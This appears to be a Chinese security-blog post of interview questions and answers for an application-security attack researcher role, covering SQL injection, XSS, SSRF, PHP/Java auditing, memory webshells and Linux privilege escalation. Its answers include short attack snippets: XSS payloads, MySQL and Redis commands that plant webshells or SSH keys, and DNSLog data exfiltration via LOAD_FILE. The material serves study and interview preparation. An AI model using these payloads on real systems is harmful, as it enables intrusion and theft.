安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
匿名[校招]攻防研究员(应用安全)
### 基础 1. http状态码,502,503,501 2. http请求方式及各自作用 3. 计算机网络的分层及分别有哪些协议 ### **owasp top 10** 1. xss如何执行代码 2. xss常用哪些标签 3. http only 4. 怎样判断是否存在注入 5. sql注入无回显怎么办 6. 延时注入除了sleep的其他姿势(mysql) 7. dnslog的实现原理 8. sql注入,单引号被拦截,如何绕过 9. sql注入,写shell的语句,除了into outfile还有什么mysql的特性可以getshell 10. redis的利用,如何shell,相关命令 11. ssrf的原理即后利用,怎么执行命令,常搭配使用的协议 ### PHP安全相关 1. 审计流程 2. 命令执行函数 3. 文件上传函数 4. 代码执行函数 5. vender目录 6. phpunit 7. php可以构造无文件shell吗 ### **Java安全相关** 1. 挖过的通用洞,你会怎么利用(组合) 2. 命令的函数或包 3. java哪些框架,审过哪些框架,它们常出现的问题是什么 4. 审计流程,你一般关注哪些洞,或擅长挖哪种类型 5. tomcat做回显 6. 内存马的实现 ### **其他** - 写poc/exp的经历和心得 - 复现的一些漏洞 - Linux 提权的姿势 - Linux下有哪些文件进行渗透时比较关注的,及文件权限问题 - dirty cow 的时间及其修复版本(哪年后就没法用了) - 你觉得什么是你自己比较擅长的而我没有问到的. ### **小结** 这个岗位主要是搞漏洞挖掘和利用以及原理分析,Web方面就是JAVA和PHP的安全研究,比如JAVA下的流行框架,组件和服务器应用的安全问题。 没有问内网!!!
基础部分
1. HTTP状态码
- 502(Bad Gateway):代理服务器从上游服务器接收到无效响应。常见于反向代理配置问题。
- 503(Service Unavailable):服务器暂时无法处理请求,通常因维护或过载。
- 501(Not Implemented):服务器不支持请求方法(如使用非标准的HTTP方法)。
2. HTTP请求方法及作用
- GET:获取资源(无副作用)。
- POST:提交数据(如表单)。
- PUT:替换目标资源。
- DELETE:删除资源。
- HEAD:获取资源的元信息(不返回Body)。
- OPTIONS:查询服务器支持的请求方法。
3. 网络分层及协议
- 应用层:HTTP、FTP、DNS、SMTP。
- 传输层:TCP(可靠传输)、UDP(低延迟)。
- 网络层:IP、ICMP、ARP。
- 数据链路层:Ethernet、PPP。
- 物理层:物理介质规范。
OWASP Top 10
1. XSS代码执行方式
- 反射型:攻击载荷通过URL参数注入并反射到页面执行。
- 存储型:恶意脚本存储到数据库(如评论字段),用户访问时触发。
- DOM型:由前端JavaScript操作DOM时触发(无需服务端参与)。
2. XSS常用标签及绕过
- 经典标签:
<script>
,<img src=1 onerror=alert(1)>
,<svg/onload=...>
。- 事件属性:
onmouseover
,onload
,onerror
。- 编码绕过:Hex/Unicode编码(如
javascript:alert(1)
→\x6A\x61...
)。3. HttpOnly的作用及绕过
- 作用:防止JavaScript读取Cookie(缓解XSS窃取会话)。
- 绕过:通过其他漏洞(如浏览器缓存劫持、中间人攻击)获取Cookie。
4. 判断SQL注入存在
- 报错型:输入单引号触发数据库错误(如
'
→You have an error...
)。- 布尔盲注:构造
AND 1=1
和AND 1=2
观察页面差异。- 时间盲注:通过
SLEEP()
判断响应延迟。5. 无回显注入处理
- 外带数据:利用DNSLog或HTTP请求外传数据(如
LOAD_FILE('\\\\xxx.dnslog.cn\\test')
)。- 盲注攻击:布尔或时间盲注逐位提取数据。
6. MySQL延时注入其他姿势
- Benchmark函数:
BENCHMARK(1000000, MD5('test'))
。- 条件运算:
IF(1=1, SLEEP(5), 0)
。7. DNSLog原理
- 实现:攻击者控制域名服务器,触发目标解析特定子域名(如
payload.attacker.com
),通过DNS查询日志获取注入结果。8. 单引号被拦截绕过
- 宽字节注入:利用GBK编码转换(如
%df%27
→ 吞掉转义符)。- 数字型注入:无需引号的注入点(如
id=1 AND 1=1
)。9. MySQL写Shell的其他方式
- 日志文件写入:
sql
SET global general_log = 'ON'; SET global general_log_file = '/var/www/html/shell.php'; SELECT '<?php @eval($_POST[1]);?>';
- 全局变量:利用
secure_file_priv
为空时直接写文件。10. Redis利用命令
- 写SSH密钥:
bash
config set dir /root/.ssh config set dbfilename authorized_keys set x "\n\nssh-rsa AAAAB3N...\n\n" save
- 写Webshell:
bash
config set dir /var/www/html set x "<?php system($_GET['cmd']);?>" save
11. SSRF利用
- 原理:服务端发起任意HTTP请求,攻击内网或本机服务。
- 协议利用:
- File协议:读取本地文件(
file:///etc/passwd
)。- Gopher:构造TCP流量攻击内网Redis/MySQL。
- 命令执行:结合CRLF注入或协议特性(如Redis的
eval
命令)。
PHP安全
1. 审计流程
- 入口点分析:定位用户输入(
$_GET
、$_POST
)。- 危险函数跟踪:如
eval
、system
、unserialize
。- 参数传递路径:追踪变量是否未过滤直接进入敏感函数。
2. 命令执行函数
- 高危函数:
system
、exec
、passthru
、shell_exec
、反引号(`
)。- 间接执行:
popen
、proc_open
。3. 文件上传函数
- 核心函数:
move_uploaded_file
(结合is_uploaded_file
验证)。- 漏洞场景:未校验后缀/MIME类型,或黑名单不全(如
.phar
绕过)。4. 代码执行函数
- 动态执行:
eval
、assert
、create_function
。- 回调函数:
array_map
、call_user_func
。5. Vendor目录作用
- 用途:存放Composer依赖包,可能包含漏洞组件(如未更新的
guzzlehttp
)。6. PHPUnit漏洞
- 历史漏洞:CVE-2017-9841(远程代码执行,因
eval-stdin.php
未删除)。7. 无文件Shell实现
- 内存驻留:通过反序列化漏洞加载恶意类(需
unserialize
可控)。- 伪协议:利用
php://input
执行代码(需allow_url_include=On
)。
Java安全
1. 通用漏洞组合利用
- 框架漏洞:Struts2 OGNL注入 + Fastjson反序列化。
- 组件链:利用
commons-collections
链触发RCE。2. 命令执行函数
- 核心类:
Runtime.getRuntime().exec()
、ProcessBuilder
。- 反射调用:通过反射绕过黑名单检测。
3. 框架审计重点
- Spring:SPEL表达式注入(CVE-2022-22963)、未授权端点。
- Hibernate:HQL注入(非预编译查询)。
- Fastjson:反序列化漏洞(利用AutoType特性)。
4. 审计流程与关注点
- 入口点:HTTP请求处理、RPC接口、JSON/XML解析。
- 擅长方向:反序列化链构造、表达式注入、权限绕过逻辑。
5. Tomcat回显构造
- 线程注入:通过反射获取
Response
对象(如从ThreadLocal
提取)。- 内存马适配:注入Filter或Servlet动态注册恶意逻辑。
6. 内存马实现
- Filter型:插入恶意Filter到责任链头部。
- Agent型:动态修改字节码(如利用
javassist
)。
其他
1. POC/EXP开发心得
- 关键点:漏洞触发条件精准复现、兼容性处理(如版本差异)。
- 案例:Fastjson反序列化EXP需构造特定Gadget链。
2. Linux提权姿势
- 内核漏洞:Dirty Cow(CVE-2016-5195)、sudo权限滥用(CVE-2021-3156)。
- SUID滥用:find、vim等可执行文件提权。
3. 渗透关注文件
- 敏感文件:
/etc/passwd
、/etc/shadow
、SSH密钥(~/.ssh/id_rsa
)。- 权限问题:全局可写文件(
find / -perm -o=w
)。4. Dirty Cow时间及修复
- 时间:2016年10月披露,影响Linux内核≤4.8.3。
- 修复版本:4.8.3以上内核已修补。
5. 未提及的擅长点
- 反序列化漏洞链分析:Java/PHP反序列化利用链构造与调试。
- 框架组件0day挖掘:基于源码分析或黑盒Fuzz。